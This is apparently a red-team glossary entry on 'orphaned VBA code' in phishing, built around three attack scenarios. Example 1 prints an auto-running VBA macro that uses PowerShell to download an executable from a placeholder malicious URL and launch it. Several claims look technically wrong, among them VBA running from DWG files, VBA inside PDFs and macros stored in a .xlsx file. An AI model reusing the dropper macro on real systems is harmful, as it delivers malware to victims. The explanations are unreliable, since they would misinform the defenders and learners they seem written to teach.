What is Orphaned VBA Code in Phishing?

Definition:

“Orphaned VBA code” refers to VBA (Visual Basic for Applications) scripts found in unexpected or non-traditional file formats, separated from their original intended use, yet still executable in phishing attacks.

Why It Matters

Orphaned VBA code is a pivotal tactic used in phishing and social engineering campaigns to bypass conventional security measures. By embedding VBA scripts in non-traditional files, such as AutoCAD DWG files or other document formats not typically associated with macros, attackers can deceive security scanners and email filters. This strategy exponentially increases the likelihood of successful intrusion as it leverages the unsuspected execution of VBA macros, which security professionals may not be prepared for. Attackers take advantage of this method because it capitalizes on lesser-known vulnerabilities and can exploit the automatic execution features of certain applications, thereby increasing the potency of their phishing campaigns.

Operators will encounter orphaned VBA code primarily when analyzing doc-based phishing payloads or during engagements where the objective is to assess the organization’s vulnerability to social engineering ploys. For a red team engagement, utilizing VBA code in this way provides a compelling demonstration of how existing security processes may overlook non-traditional attack vectors.

In Practice

Example 1: A phishing email appears in the target’s inbox with the subject line: “Updated Architectural Plans – Urgent Review Required.” This email contains an attachment named project_update.dwg. When the recipient opens this DWG file, they inadvertently execute orphaned VBA code embedded within. The code initiates a hidden connection to a command and control server, downloading additional payloads onto the target machine.


Sub AutoOpen()

   Dim hiddenScript As String

   hiddenScript = "powershell -Command Invoke-WebRequest -Uri 'http://malicious.url/payload.exe' -OutFile 'C:\temp\payload.exe'; Start-Process 'C:\temp\payload.exe'"

   Shell hiddenScript

End Sub

Example 2: In a simulated engagement, an operator sends out emails resembling internal communication with a subject line: “Internal Audit PDF Review”. Attached is a file named audit_summary.pdf. Internally, this file houses orphaned VBA code that, when opened in a vulnerable PDF reader, calls an external script escalating privileges on the endpoint without user consent.

Example 3: A sophisticated phishing attack is launched using a seemingly benign Excel spreadsheet titled “Employee Bonus Calculations Q4.xlsx.” Within this document, the VBA code is orphaned—not tied to any apparent macro—but designed to execute once opened with a particular software configuration. The VBA script surreptitiously uses embedded payloads to harvest login credentials from the company’s internal systems and transmits them to an attacker-controlled server.

Related Terms

Understanding orphaned VBA code further involves exploring related concepts such as phishing to understand the broader social engineering approaches, malware payloads, which highlight the different classes of malicious code, and macro viruses, emphasizing how scripts embedded in documents can trigger automated attacks.

References

Detailed methodologies on utilizing and understanding orphaned VBA code can be further explored in the source: SANS Institute’s Internet Storm Center diary entry. Additional insights are available from Microsoft Security Blog on malicious macros, highlighting the risks and usage patterns of VBA in documents.

What is Orphaned VBA Code in Phishing?

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